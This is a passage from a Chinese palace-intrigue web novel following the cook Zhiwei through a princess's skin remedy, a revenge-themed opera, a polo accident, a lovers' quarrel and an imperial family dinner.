“说回你吧,没让本宫失望。那点子验毒、追索的机灵劲儿,和二弟、三弟说得一模一样。”
“很有趣啊。”祝华感叹。
一股混杂着荒谬、愤怒和后怕的洪流在知微胸腔里横冲直撞。
一条命,一个姑娘心尖上的陪伴,一场差点牵连甚广的风波,竟只是源于眼前这位金枝玉叶的一时兴起。
恐惧,只有恐惧。
知微袖中的手死死攥紧。
“殿下高看,小的惶恐。”她垂下眼睑,努力将所有翻涌的情绪压回眼底。
“啧,又来了。”祝华看出知微表情的异样,失了兴致,意兴阑珊地靠回软枕。
祝华的指尖无意识地划过左颊靠近下颌的阴影处,似乎有些异样。
“水来。”她懒懒吩咐。
银盆被宫女小心翼翼捧上。
祝华掬起一捧清水,细细洗去面上厚重的铅华。
随着脂粉褪去,左颊下方,一片指甲盖大小、微微泛红翻卷的溃烂伤痕,赫然显露出来。
那伤口新皮叠着旧痂,边缘泛着不健康的湿红,像玉璧上狰狞的裂痕。
“喏,”祝华侧过脸,将那处伤口完全暴露在光线下,语气随意得像在展示一件旧衣,“我自幼身体不大康健,尤其到了夏天,便容易犯湿疹,前些日子贪嘴,吃了些燥物,我又喜欢抠它,便成了这幅鬼样子。”
“宫里的太医只会开些苦死人的汤药,敷了半月也不见好。”
“晏尚宫。”
祝华的目光转向知微,带着点漫不经心的探究:“可有法子让这玩意儿消停点?看着碍眼。”
话题陡转,知微紧绷的神经却并未放松。她定了定神,强迫自己将目光从那道刺目的溃烂上移开。
要她食疗?倒不算难。
“臣斗胆,敢问殿下近日饮食可有偏好?起居可有不惯之处?”声音依旧恭敬,却多了几分问诊的笃定。
“偏好?”祝华嗤笑一声,“本宫倒是有些偏爱。鹿血羹滚烫,烧刀子够烈,荔枝冰镇的甜得腻人,我也喜欢。”
“怎么,有问题。”
“鹿血大燥,烈酒生火,冰荔寒极骤热,最易诱发肌表疮疡。”知微迎着她审视的目光,语气平稳。
“殿下此症,乃内火过旺,外邪侵扰,血热瘀滞于面。太医大抵是开了些清火的汤药,然而肌表溃烂湿重,单凭内服,见效缓慢。”
知微略一沉吟:“殿下若信得过,可一试外敷之法,或可助敛疮生肌,缓解痛痒。”
知微的目光落在果盘里几颗饱满的荔枝上:“取新鲜荔枝肉捣极细,调入少许蜂蜜与蛋清,敷于患处,可暂缓灼痛,滋养肌表。但此为权宜,最紧要的……”
知微顿了顿:“是殿下需忍一时口腹之欲,忌辛辣燥热,多
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食绿豆、银耳、莲藕等清凉滋养之物。”
“绿豆?莲藕?”祝华像听到什么天大的笑话,指尖敲着榻沿,“本宫又不是兔子!唉,罢了罢了,权且信你一回。那什么荔枝膏,速速弄来!”
知微不再多言,净手,利落取过宫女备好的新鲜荔枝。
莹白的果肉在她指尖被捣碾成细腻的膏状,混入澄澈的蜂蜜与清亮的蛋清。
知微动作干净利落,指尖沾了药膏,凑近祝华颊边。
清甜的果香混合着蛋清的微腥在空气中弥漫。
祝华身体几不可察地绷紧了一瞬,随即又放松,闭上眼,任由知微小心翼翼地,将那温凉粘稠的膏体敷上她颊边那片溃烂。
殿内熏香依旧浓烈,却仿佛被那清甜气息撕开了一道口子。
“殿下感觉如何?”片刻后,知微轻声问。
祝华睁开眼,抬手,眼底掠过一丝惊讶。“咦…那股子火烧火燎的劲儿,倒真淡了些。”她眉头微展,看向知微的目光多了些真切,“有点意思。”
恰在此时,殿外传来丝竹管弦的轻响。祝华眼睛一亮,方才的阴郁烦躁一扫而空。
“算你来得巧。本宫的戏台子搭好了,同去看看吧。”不等知微开口,祝华眼神示意,两个贴身侍女上前,手臂架住知微。
——
已近黄昏。
戏台临水而设,四周高悬明角灯。
台上灯火通明,映得水波粼粼。
鼓点一起,一个着宫装的女伶凄然开腔:
“冷粥剩饭饱饥肠,宫墙森森作囚笼!”
“笑面暗藏千根刺,好语尽是裹糖霜!”
“亲爹娘?薄情种!”
“一朝轻许终身诺,错托狗肺负心郎!”
弦乐陡然变得急促,女伶甩动水袖,仿佛要甩脱无形的枷锁。
知微坐在客席,不寒而栗。
“良人?豺狼!”
“花言巧语迷心窍,骗我荣华换寒霜!
“夺我嫁妆充他饷,醉打娇妻如牛羊!”
唱到此句,女伶身形摇晃,做踉跄状,撕心裂肺:
“忍!忍!忍!忍到何日方是头?
“泪已干,骨将朽,恨成狂!”
鼓点如骤雨疾风,女伶猛地撕开外层裹着的素色破衫,露出内里早已备好的一抹腥红劲装。
知微没见过这等把戏,一时迷了眼。
主位上,祝华打量着知微的神情。
“你觉得,后头会怎么演?”祝华开口,问。
知微回眸,台上象征驸马的小生惨叫倒地,女伶踏“尸”而上,手中铁剑寒光凛冽。
“反击。”知微目光焯焯,“经受非人的委屈,自然该让罪魁祸首付出代价。”
她的声音清晰而平静,在水阁中回荡:“困于浅水,终非池中之物。破茧化龙,方知天地广阔。”
水阁彻底安静下来,仿佛在为最后的表演蓄力,只有风吹过檐角铜铃的细碎声响。
祝华定定地看着知微,灯火在她深不见底的眸子里跳跃,明明灭灭。
她忽地抚掌,清脆的掌声在寂静中格外刺耳。
“好!好一个破茧化龙!”祝华大笑起来,带着一股不管不顾的痛快,“晏知微,没看出来啊,你倒是有趣得很!”
刹那间,喊杀声震天,鼓声密集如惊雷。
“剥下这身可怜装!红衣断送薄幸郎!”
“征集壮士听吾将!点兵十万向皇城——”
杀!杀!杀!
一番激烈“厮杀”后,最后一道象征宫门的屏障被女伶一剑劈开!
她独立高台之巅,龙袍加身,头戴金冠:
“凤座压龙庭,九霄独凭栏!”
“吾乃天穹第一凰!”
唱词落,灯火骤暗。黑夜降临,只余主位一盏孤灯。
祝华没动,灯火摇曳,将她半边脸映在光亮里,半边脸藏在阴影中。
祝华微微倾身,那双映着戏台余烬的眸子锁住知微,带着些知微看不懂的兴味。
“以后得了闲,常来陪本宫看戏罢。”
31. 只道当时寻常
戏台落幕的余韵还在水阁里打转,知微望着祝华那双深不见底的眸子,心里没来由地打了个突。
这长公主行事素来乖张,今儿却突然邀她常来看戏,不知又藏着什么心思。
“下官……遵旨。”知微福了福身,不敢多言。
祝华带着贴身侍女,将知微送到宫门。
转身告辞时,晚风掀起知微的衣角,她脑子里忽然蹦出个念头——长公主今天叫她来,除了试探她那点小聪明的能耐,多半还离不开祝明煜和祝隶稷对她的“另眼相看”。
祝明煜就算了,哪怕她只是多吃了半碗饭,他也会满面春光、毫不吝啬对自己的赞扬。
而祝隶稷,知微顿了顿,两人共同经历了生死局,他能够承认自己的能力,倒也不是件诧异的事。
只不过……
先前在宴席上,祝华和祝隶稷针锋相对,那架势恨不得当场拔剑相向。
知微一直以为这姐弟俩是仇敌、冤家。
可方才祝华提起祝隶稷时,语气里虽带了嘲弄,却没多少真正的恨意,反倒有种说不清道不明的熟稔。
“琢磨什么呢?”
耳畔传来祝华的声音,知微回头,天色已晚,有月光泄出来,在祝华侧脸的疤痕上投下浅影。
“下官在想,自己何德何能,可以得到皇子们和公主的赏识。”知微斟酌着措辞,说完自己都觉得牙酸。
祝华笑出声:“这可不像你会说的话。”
“某人说过,你可是个难啃的硬骨头。”
“硬骨头……”这词,八九不离十是祝隶稷的形容吧。
知微扁嘴:“太子殿下,实在太会说话了。”
“他那一张巧嘴淬过毒的。”祝华接过话头,笑声在夜里格外清亮,“不过和我比,他还是嫩了些。”
“而且他小时候其实挺木讷的,和现在全然不同,受了委屈就只会眼巴巴的抻着脖子,你是没见过他幼时被我抢点心的模样。”
“像极了一只呆头鹅。”祝华大笑,似乎是为自己寻找到一个最恰当的形容而满意。
知微望见祝华的神情,下意识接话:“其实你们,还是姐弟情深的吧?”
那为何在外人面前,又要让彼此下不来台呢。是特有的相处方式,还是……
祝华打断了知微的思绪。
“姐弟情深?也是,在这深宫里,我俩算是绑在一根绳上的蚂蚱。”祝华眯起眼,不知在想些什么。
许是在回忆往事,知微猜。
祝华和祝隶稷自幼便被留在京城当质子,一个在太后膝下装乖顺,一个在东宫伴读忍屈辱。那些年的风雨,是旁人无法体会的。
这对姐弟的真实关系,知微无从考究,脑海中只是浮现了另一个身影。
“那明煜呢?你喜欢他吗?”知微忍不住问。
祝明煜在边疆长大,合该和这两位姐弟疏远些,但知微却觉得不然,不论是一副死鱼脸的兄长,还是行为荒诞的长姐,祝明煜对他们,都是万般恭敬。
不论得了什么新鲜玩意,除却知微,便是屁颠屁颠,给哥哥姐姐送过去一份。
果然是只小狗。
知微暗笑。
她的反应被祝华一览无余。
提到祝明煜,祝华脸上的笑意淡了些,许是想到阿弟待自己的好,也是难得带了些柔和:“明煜啊,是爹娘掌心的宝,性子纯良,像道光,我理解,大家都喜欢他。”
他不像她,也不像他们。
知微心头微动,这才明白,为何祝华对祝明煜总是格外宽容。
她点头,赞同地继续道:“虽然习惯犯傻,但大家都喜欢。”
祝华笑了笑,抬眸,眼底闪过一丝复杂:“只是,很多时候,喜欢,若真的只是喜欢,便也没什么烦忧了。”
可是喜欢,又往往不只是单纯的喜欢。
你喜欢一样东西,便想要得到;喜欢一个人,便想要给他更多。
可是,给的多了,能给别人的,不就少了吗?
祝华脑海中闪过一对温暖的怀抱。
她嘲讽般,挥了挥手,道:“回去吧。”
——
这位长公主,当真是个谜。
知微走在宫道上想,夜风吹得她脑子清醒了些。
她回到白日少昭、少央等待的地方,却没见少昭的影子。
只有少央规规矩矩地站在墙角,像株安静的兰草。
“少昭呢?”知微问。
少央福了福身:“回主子,少昭姑娘看到个人影,跟去御花园了。”
“男人女人?”知微蹙眉。
“像个侍卫。”少央道。
又是擅自离开。
知微有些头大。
入宫有些时日了,少昭总还是一副我行我素、天地不怕的样子,如此这般,倒总是让人忧虑她会不会闯出些祸事。
“又不是从前了,还是得守些规矩。”知微叹。
少央没回知微的话,依旧压着脑袋。
知微瞧着少央紧绷的肩膀,又想起这些时日来,少央浣衣、记账,做事勤恳,十项全能,总是有超出年龄的沉稳。
两个人相处的很好,唯一的缺憾,便是相较于偶尔爬到自己头上的少昭,知微同少央,二人总归有股距离感。
明明都说了,是自己人,当姐妹相处即可。
知微无奈,伸手拍了拍少央的手背:“跟我不必这么拘谨,放松些。”
少央的手微微一颤,总算是抬起头。
“你看你,抬起头多阳光。”
知微打趣着,又道:“拜托你件事,以后,若是少昭再做出些出格事,或是不听他人的好心劝诫,你就一巴掌拍她脑袋,让她沉下心来。”
少央惊得瞪圆了眼:“这……不妥吧?”
“有什么不妥的?”知微挑眉,“她那性子,不束着点,迟早要在宫里闯祸。”
“一切拜托你了。”知微握住少央的手,“你就当自己是她姐姐。”
瞧见自己同知微相握的手,少央红了脸,她还想再说什么,却被知微拉着往御花园:“走,找那个野丫头去。”
一路上,知微絮絮叨叨地跟少央念叨:“你说少昭这丫头,上次还瞧见在灯市跟孙为互动,这下又换了个人,女大不中留啊……”
话没说完,就见前面的柳树下,少昭正红着脸跟一个侍卫说话。
“啧啧,又来一个?”知微拉着少央躲在树后,“让我瞧瞧,是哪个倒霉蛋,被这丫头看上了。”
等看清那侍卫的脸,知微愣住了——好大一个熟人,那不是孙为吗?他怎么成了宫廷侍卫?
孙为似乎说了句什么,少昭的脸更红了,低着头摆弄衣角。
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知微走上前,拍了拍少昭的肩膀:“哟,这不是我们的少昭姑娘吗?在这儿钓金龟婿呢?”
少昭吓了一跳,看到是知微,脸更红了:“阿姐!你别胡说!”
“我说的还有假不成?”
知微想起孙为和自己提过的、心里的那个“故人”,清了清嗓子,拉着少昭走到一边:“你知道孙为心里有人吧?”
少昭点点头,眼底闪过一丝黯然:“他跟我说过,他把我当妹妹。”
“那你还……”
“我知道。”少昭打断她,语气却很坚定,“我就是喜欢他,跟他没关系。”
知微看着她倔强的样子,只叹了口气:“罢了,你心里有数就好。”
她又把话题引开,绕着孙为走了好几圈。
孙为一身灰黑色侍卫装扮,腰间还带了把刀,倒的确是有模有样。
知微肩膀触碰到他肘:“喔,孙庖正,你这是高升还是降职了?”
孙为连忙行礼,装模作样:“之前战场立功,侥幸得了个带刀侍卫的差事。如今月钱涨了,手下却只能管着三五个人,明升暗降吧。”
“总之我的处境定是不如晏尚宫,或者说,准皇妃?”孙为揶揄,笑。
如若是旁人,知微兴许还得燥上一番,可眼前人是孙为,她倒是也忘了遮掩。
“八字还没一撇呢,没一撇!”知微重力拍着孙为的肩,力气大到眼前壮汉都呛出声来。
“话说回来,我还以为你是一个喜欢自在的人呢,怎么也会入这深宫,淌这浑水?”
孙为摸了摸头,做出搓手的动作:“还不是人,给的多吗。”
“如此看来,我们都是金钱的仆人。”知微连连感叹。
正说着,御花园里传来一阵清脆的宫铃声。
宵禁了。
少央脸色微变,像是想起了什么大事,满脸惊慌,上前道:“主子,在您和公主会面的时候,祝将军托人来问了好几回,说后日上午,想请您去校场看马球。”
“马球?”知微好奇,“跟谁比?”
“听说是……太子殿下。”少央的声音低了些。
知微眼前一亮,这搭配,倒是新鲜。
“去,我定要去!”祝明煜的体能知微早有体会,而祝隶稷,知微回想起在山洞里对方弱不禁风的模样,一时偷笑。
“对了,孙为,你后日当值吗?”知微转头问。
孙为怔了怔:“后日需要我陪同吗?”
“正是!”能看祝隶稷吃瘪的机会可不多,去的人越多越好!
知微心情大好。
她一边嘱咐少央,一边拉着少昭跑:“少央,你去轩榭把珍儿也叫上吧,她一个人也怪无聊的,大家在一起,多少热闹些。”
少央瞧见两人的影子越跑越快、越跑越远,以为二人是要去校场。
“主子,都说了是后日,后日!”少央跳起脚来,难得有了些愠色。
“我听到了,我不过是想早点回宫歇息,明天还要当值呢,不要把我当成和少昭一样的傻子!”
“阿姐——”
黑夜沉沉,夏虫轻鸣,三人在月色中打闹。
孙为在后头喊了句什么,知微没听清。
直至很久之后,再回想这天,知微不由觉得,如若自己不邀约孙为,从结果上看,可能便不会有那么多人枉死了。
32. 误伤
盛夏的校场,烈日灼灼。
马球场上尘土飞扬,激烈的碰撞与骏马的嘶鸣不绝于耳。
校场上早已围了不少人,祝明煜穿着一身白衣,正跟几个侍卫热身,看到知微,老远就挥起了手,活像只摇尾巴的大型犬。
而另一边,祝隶稷一身玄色衣袍,正慢条斯理地系着护腕,神情淡漠,仿佛只是来散步的。
“这俩,还真是截然不同。”知微嘀咕道。
“什么时候可以结束。”万珍儿躲到校场最阴处,今日她没带婢女,只是晒了点阳光出了些汗,便已经累得眼冒金星。
知微见状,伸手托住她:“待会儿有我亲手做的冷饮,再稍微撑会儿。”
微微点头,示意自己听到了话语,万珍儿像只泄气的球,灵魂又不知蒸发到哪去了。
少昭在一旁拽了拽知微的袖子,指着不远处:“阿姐,人到齐了。”
知微望去,孙为还是穿着那套侍卫服,手上提了些瓜子果仁,还不忘带些酒水来,活脱脱一个来看热闹的吃瓜群众。
见众人在此,孙为迈步而来,步伐轻快。
知微戳了戳万珍儿的小臂:“再闷着头蹲下,待会便晕了。”
“什么,晕过去了,好哇好哇,梦里什么都有。”一副恹恹样,万珍儿勉力睁开半只眼,有人影笼罩在他身前,恰好遮住了烈日。
“向侧妃请安。”孙为站在阳光下,笑容灿烂。
万珍儿终于睁大了眼。
。
祝明煜微眯住眼,身子前倾,狩猎的猎人般觑过一旁的知微,蓄势待发。
今儿可是他展示魅力的好机会,祝明煜死盯着球,已经做好开屏的准备。
哨声响起,他一马当先,勒紧缰绳,一个利落的旋身,带球、过人,动作干净利落。
只几刹那,手中球杖精准一击,木球化作一道褐色的流星,呼啸着穿过对方两名后卫的间隙,直挂球门死角。
得分了!
“李叔,左翼!”祝明煜没有放松警惕,扬声向李明镜喊,杆尾在半空划出弧线。
李明镜看懂暗号,心领神会,马鞭子抽得脆响,硬生生从两名对手中间挤过去,稳稳接住祝明煜传过来的球。
又是一分到手!
“好!”看台上爆发出一阵喝彩。
皇帝今日也出席观赛,他坐在华盖下,为身旁的皇后沈丹曦剥葡萄,瞧见祝明煜进球,指了指他的方向,满面慈爱。
赛场这头,祝明煜的笑声爽朗地荡开,汗水顺着他麦色的脖颈滑到锁骨,阳光下,他像一团燃烧的火焰,耀眼得令人无法忽视。
祝明煜身后,是李明镜等一干神镜兵旧部紧随其后。毕竟多年大锅饭出来的,个个配合默契,如同楔入敌阵的尖刀,彪悍而狠厉。
上半场结束,五比三,祝明煜率领的队伍气势如虹,遥遥领先。
“少将军英勇,这球技,不会是打娘胎练出来的吧?”
“瞎说什么呢,明明是老子培养的好,从前在边境天天陪他练马的是谁,去去,一边去。”李明镜赶开马屁精,“是我的功劳知道吗。”
“没有我,哪有这小子?”李明镜大掌一挥,拍到祝明煜的胸膛。
几个大男人没大没小惯了,见状,李明镜的义子李台也懒得给他面子,扁嘴戳穿,道:“您就吹吧,十二岁的时候您的马术便比不过我了,明煜的骑术比我都精湛不少,还您教的……”
“那又怎么了!”李明镜被李台戳穿,当场红了脸,扯着嗓子,“你小的时候尿片还是我换的,五岁还尿床呢!”
“这压根不是一回事吧!”
“我说是就是!”
中场时间,神镜兵的旧部打成一团,好生热闹。一群人全聚在祝明煜身边呼喝着。
见知微在往这边走,有人故意撞了祝明煜的肩,笑侃:“我说呢,少将军今儿表现得如此佳,原来是美人在侧,动力十足啊!”
“起开起开。”祝明煜打落战友的手,向前迎上,接过知微手上的陶壶。
“不看看给你带了些什么。”知微笑着,别开祝明煜邀功的脸,“我知道你很厉害了,真棒啊,小祝将军。”
“是阿姐亲手做的冻茶。”少昭打开陶壶,里面的液体泛着琥珀色,冰块碰撞发出清脆的响。
“早春的茶炒到微焦,加了蜂蜜和乌梅,比酸梅汤解渴。”少央在一旁解释,将另一个陶壶里的冻茶用小碗分成几份。
“这是你专属的。”知微冲着祝明煜,补充。
闻言,祝明煜仰头,贴着知微,灌了大半壶进嘴,喉结滚动的弧度看得人眼热。
“痛快!”祝明煜抹了把嘴,身边的神镜兵们立刻围上来,抢着要尝。
“嫂子这手艺,绝了!”有人喊了一声,随即响起一片哄笑。晏知微的脸腾地红了,祝明煜却笑得更欢,把她往身后拉了拉,替她挡开那些调笑的目光。
。
另一边,祝隶稷接过江覃递来的茶,指尖触到壶壁的凉意,抬眼,正对上知微的视线。
“晏娘子心思周全,没想到给我们都备上了一份。”江覃指了指见底的陶壶,“大家全都喝干净了。”
祝隶稷没下马,只是在阴处休整,玄色衣袍几乎与阴影融在一起,手里的球杆竖得笔直。
他冷冷扫过自己的队伍:“喝干净有什么用,赢得干净漂亮才好。”
没人敢回话。
对面都是军队的老手,是将军同亲兵,契合度高。
反观己方,倒是也有些禁军统领的存在,本不至于劣势太多。可本来作为核心的万将军万祁临时有事,失了主将,团队的几人几乎又没打过配合,失误自然多。
江覃垂眸,注意到有个上场凑数的小厮没喝冻茶,蜷成一团,甚至连马都没下。
他上前询问,才知小厮今晨起来便腹痛难忍,是强撑着身体来的。
小厮面色发白,咬紧牙关,话都快挤不出。
“太子殿下,这小厮再拖着,怕是有性命之忧。”江覃支着手,
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道。
祝隶稷没说话。
比赛还有下半场,少了人,如何继续。
眼瞧着小厮当场便要倒下,原计划巡视京都的万祁不知从哪堆人群中闪出,他勒住缰绳,上马,一把拥住小厮的躯体。
万祁银枪般的身段挺得笔直。
他目光飞快扫过知微,看到了一个躲在角落处的熟悉身影,正百无聊赖地用团扇遮着脸,似乎对场上的激烈毫无兴趣。
万祁嘴角勾起个几不可查的弧度。
“巡视结束的早了些。”
“瞧着这比赛有趣。”
“我替他。”
。
下半场,哨声尖锐地划破空气。午后的阳光白花,强烈到令人窒息。
万祁的加入,瞬间改变了战局。
他仿佛一头冲入羊群的猛虎,骑术精湛,力量惊人。他的战术是拖住对方的主帅祝明煜,两人持续纠缠,球杆在空中相撞,发出闷响。
祝明煜仗着力气大,硬生生将球杆压下去,万祁却手腕一转,杆尾勾住马球,借着惯性把球带向球门。
“想得美!”祝明煜催马追上,杆尖精准地磕在球上。
马球改变方向,直飞向祝隶稷那边。
“拦住他!”祝明煜高喝,李台上前,试图截断传往祝隶稷方向的球。祝隶稷却一个假动作骗过李台,球杖一挑,木球越过人群。
众人在混乱中寻找球影。
江覃的身影突然动了。他的马不快,却像算好了轨迹,恰好截在球路前方。
江覃在祝隶稷身后大喊:“右侧盲区,将它传过来!”
祝明煜也看到了那个空档,催马去拦。
万祁不知何时绕到了侧面,三人的马几乎撞在一起。
“小心!”知微的喊声被淹没在惊呼声里。
祝隶稷的马受惊而起,他身体一晃,从马背上摔了下来。
祝明煜下意识伸手去拉,却被带得失去平衡,重重摔在地上,左腿以一个诡异的角度扭曲着。
“明煜!”
侍卫赶忙上前,祝明煜咬着牙想站起来,额头的冷汗砸在尘土里,洇出深色的印子。
知微扑过去,按住他的腿,声音都在抖:“别动!千万别动!”
皇帝的仪仗那边传来骚动,沈丹曦的声音带着惊惶:“太医,快传太医!”
校场上尘土未落,人声鼎沸,一片狼藉。
侍卫们呼喝着维持秩序,太医提着药箱气喘吁吁地跑来,江覃指挥着人手,皇帝紧锁着眉头,由内侍搀扶着走下御座,每一步都显得沉重无比。
知微站在混乱的正中,看着眼前的人仰马翻,祝明煜拧着眉头嘶声,她一时手足无措。
混乱中,少昭拽了拽知微的衣角,脸色发白:“阿姐,侧妃娘娘不见了!”
知微这才发现,方才还站在旁边的万珍儿没了踪影。
“孙为呢?让他帮忙找找!”
少昭的声音更小了:“孙大哥……也不在了。”
33. 冷战
马球场的喧嚣像团被晒化的糖,黏腻得让人发闷。
万珍儿踢了踢绣鞋,鞋尖钻进的沙粒硌得她皱眉。
她本就对这汗臭熏天的场面毫无兴致,此刻更是耐不住,拎着裙摆溜出了围栏。
花坛边的青石板被晒得发烫。万珍儿踮起脚尖,单脚悬空晃了晃,试图倒出鞋里的沙。
她嫌花坛里的泥土脏,不肯扶,身子一歪,险些栽进花丛。
“小心!”
一只温热的大手及时揽住她的腰。
孙为的掌心带着薄茧,隔着长裙,从后腰处传来粗糙的暖意。
万珍儿猛地抬头,撞进他带着惊慌的眼,两人的呼吸瞬间交缠,红潮顺着脖颈爬上耳根。
“谢、谢谢。”万珍儿挣开他的手,背过身去穿鞋,声音细得像蚊子哼。
说来,两人有三年没见过了。
她嫁入祝府的第三天曾回去省亲,几经寻找但没见着孙为,打听后才知晓他原是去参兵了。
“等我长大后,立了功,买上一座大宅子,接上你姨娘,你同我一块住,再不分离,如何?”万珍儿的耳边又回想起儿时孙为背着摔伤的自己,在山间行走时胡侃的时候。
那天的夜好黑,像墨,蚊虫在万珍儿细腻的皮肤上咬了好些小包。她紧贴小小儿郎的背,竟也不觉得害怕。
那是何时发生的事呢?
好像是五岁,她和姨娘被忘在万家乡下的农宅,日子清贫,整个宅子只有不多的小农,万珍儿有天被树上的果子砸到,泪汪汪向上瞧,一个黢黑的男孩冲着自己嬉皮笑脸。
她脾气瞬间就来了,一脚踢在树干上,大树晃啊晃,小男孩紧缠住高头的枝,滑稽的很。
万珍儿不由得嗤笑。
一个是宅生奴,一个是庶出女,二人彼此依偎,在不被人注目的年纪成了彼此唯一的玩伴、慰藉。
孙为挠了挠头,目光落在万珍儿热到发红的耳尖上:“似玉呢?热成这样也没跟着?”
“似玉她……”万珍儿穿鞋的手顿了顿,“前阵子我生病,她连夜照顾我,染上了风寒,眼下让她歇着呢。”
“生病?是、阿寿?”孙为早在知微与少昭的闲谈中得知万珍儿近日遭遇的事。
阿寿是他送的龟,原是想给万珍儿当个解闷的乐子,毕竟深宅无聊,到了必要时刻,阿寿也可以当做验毒的小宠,不料万珍儿养它却甚是用心,阿寿没了,反倒是大病一场。
“是我不好,养了它这般久,竟然连它身体有恙都看不出。”
“我是个太不称职的主人,还有似玉,也总让她替我操心……”万珍儿埋着头,从孙为的角度,恰能看见她的面上淌过反光的液体。
孙为的心抽痛。
沉默片刻,他忽然伸手,轻轻揉了揉她的发顶:“傻姑娘,倒是会心疼别人。”
孙为的声音低沉,带着些温柔,又满是认真:“往后有我在,不用总自己扛着。”
万珍儿的心跳漏了一拍。
她刚想抬头,头上却猛然一重,孙为的大掌压着她的头,揉来搓去。
“喂,找死啊!”万珍儿狠狠踩住他脚。
“这下有精神多了。”孙为仰头大笑。
不远处的柳树下,万祁负手而立。
他的身影融在树影里,只有那双眼睛,盯着他们相触过的地方。
——
祝明煜躺在床上,太医诊断他是轻微骨裂,需得在榻上静卧一个月,祝明煜的左腿包扎着,全然不得动弹。
知微每天一得空,就往祝明煜的宅子跑。
她端着个青瓷碟凑他床沿,捏起颗话梅递到他嘴边:“尝尝?我新腌的。”
话梅酸得人舌尖发麻。祝明煜龇牙咧嘴地躲开:“你想酸死我。”
“酸死你才好。”知微挑眉,眼睫下瞥,“省得你下回再冒着断腿的风险去救别人。”
“哪是别人!”
祝明煜捉住知微的手,指腹摩挲着她掌心:“那是我哥。”
祝明煜的声音低了些:“小时候爹娘总说,哥在京中当质子,受了不知多少苦。”
“爹娘说,我要对他好些,他脾气古怪就多忍让,他遇到危险,就多加保护。”
“我觉得他们说得对,京都诡谲,这么多年,他替我们独自面对了那么多明枪暗箭,我总归亏欠他。”祝明煜道。
知微却哼笑出声。
“欠?”知微抽回手,“他祝隶稷何等人物,论谋划,论心眼,十个你也抵不上。倒是你,为他冲锋陷阵,真当自己是铁打的?”
“我若是你,便会好好为自己盘算。这回是你命大,好好休养便不会留下后遗症,可若是你运气不好,腿瘸了,命也没了,你想过后果吗,你想过在乎你的人吗?”
你想过为了你担忧的我吗。
这句话,知微没说出口。
祝明煜搭上知微的小臂:“就是想到了你,我才更要去救兄长啊,在蜀郡,他不是也护住你了吗?”
“那不一样!”知微甩开祝明煜的手,“他带上我逃生,我也回报了他的恩情,照顾他脱险。”
“不是为了我,我不欠他的。”
知微道拽住祝明煜的里衣,愤然:“总之,你自己都活不明白,我更不希望你为了别人的事情肝胆涂地,哪怕,他是你哥!”
祝明煜的脸色沉下来:“你就这么瞧不上我?觉得我没长脑子,没有自己的判断?”
“我不是这意思……”
“你就是!”祝明煜别过脸,胸口起伏着,“在你眼里,看不到我们兄弟的真情,只有对我举动的不解,只要我不符合你的预期,你就永远不会对我满意。”
“晏知微,我不是一个只会蛮干的傻子,而且,你又知道我什么,管得也太宽了!”
祝明煜显然是怒了,一嗓子老响,守在外头的少昭为之一颤,瞌睡劲儿都跑了。
知微被他吼得一怔,火气也上来了:“不可理喻!”
“我不管你了。”
她摔门而出,走廊里的灯笼被震得摇晃。
“真不管他了,不说
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些什么?”少昭提起裙摆,跟上知微。
“让他自生自灭吧。”
“噢噢。”少昭点头,又回脚退到祝明煜房门口,冲着眼圈发红的祝明煜道,“阿姐叫你去死。”
“她才不会向你低头喔。”
少昭满眼全是热闹。
——
冷战像场连绵的雨,一下就是半月。
知微把心思全扑在了御膳房。
她重新规划了食材动线,将蒸煮区与炙烤区隔开,又改良了腌渍工序,连切菜的砧板都按荤素分了类。
那个在阿寿案中犯事的小厮本该被乱棍打死,可知微惜才,开口留他一命,眼下,那个名唤阿福的太监被她寻到后厨,当了学徒。
“往后你就跟着我,好好学,我会培育你的。”知微扔给他一把菜刀,“之前你做的事情太简单了,打今儿起着重基本功,先从切萝卜丁练起,记得大小得像骰子。”
“遵命,师傅!”
阿福闻言,重重磕了个头。
阿福切的第一碗萝卜丁便上了贵人的餐桌。
祝明煜抬起箸,在烛火下细细打量着切得方正的丁块,一声接一声地叹息。
沈丹曦看在眼里,朝身旁的内侍使了个眼色。
今儿是家宴,除却帝后,来的还有太子一家,祝华同她的戏子们打得火热,早早离了席。
祝明煜仍在扒拉着碗里的米饭,筷子戳得碗沿当当响。
“阿叔,你今年几岁了。”祝晟听着祝明煜发出的声响,从程玊芝的怀中脱开,“晟儿四岁的时候就不敲碗了。”
祝明煜看着小小人儿硕大一双眼,倒是和兄长总像是在思考的细长眼型不甚相似。
很是可爱。
他放下碗筷,揽祝晟入怀:“是啊,阿叔不如你。”
祝明煜凑到小祝晟耳边:“可是我四岁的时候便不用人喂饭了,哪像某个小孩啊,六岁了还要母亲喂饭吃。”
“羞羞哦。”
祝晟瞬间鼓起脸,四肢乱动:“放我下来,娘亲,阿叔欺负我。”
“我欺负你?是谁不吃饭在那瞎折腾啊。”祝明煜按下祝晟的手脚,朝他下腋挠,“知道错了没?”
“娘亲救我!”祝晟伸出短手折腾,程玊芝不接他,趁着祝晟离手的功夫夹了些菜。
一旁同皇帝交谈政事的祝隶稷终于看不下去,眼睛一眯,拍了拍祝晟的手:“都这么大了,还要母亲操劳,成何体统!”
祝晟被祝隶稷吓到,不敢说话,腿脚也不晃了,改缩在祝明煜怀中。
“兄长……”祝明煜看不得怀中小人撇嘴,适才张嘴,便遭祝隶稷打断。
“我自有教育的方法。”祝隶稷冷哼。
“可晟儿还只是……”
“都说了不要管。”祝隶稷强硬道。
“有完没完!”一根箸摔落在地,一直没言语的皇帝终于坐不住,祝清一身黄袍,面色铁青。
“皇后娘娘,人到了。”帝王尾音的后一秒,内侍拉了帘,一双凤眼探了进来。
34. 红烛梦
知微进内室的时候,除却空气中隐约的果香,迎面而来的是一片死水。
坐在最中的是当今圣上。
知微在马球赛那天远远瞧见过,当时远观,她只觉得圣上身姿魁梧,如今隔近了,才发现皇帝眼下的淤青已经很重,嘴唇也失了色。
听说是平乱时受到重创,被一箭穿胸,命是保了下来,就是身体大不如前。
也不知还能熬过几个冬。知微叹惋。
她的目光转移,又到了抱着祝晟的祝明煜身上。
祝明煜明显在她进门便看到了她,一双眼睛死死钉在她身上,估摸原想找自己说话来着,却又想到二人之前的矛盾,移了视线,闭了嘴。
知微也懒得搭理她,沈丹曦招呼她到了跟前,唤内侍添了张椅子,叫她坐下。
知微不敢乱动,还是皇帝摆了手,方坐下。
“最近御膳房送来的餐食,味道有了明显提升,听闻你在期间贡献颇多。”皇帝打开了话题。
“不敢当,还是多谢圣上支撑。”知微此话倒不算彻底的奉承,她初上任便推行诸多变革,成效斐然,若是没有皇帝的支持,怕也不会这般顺利。
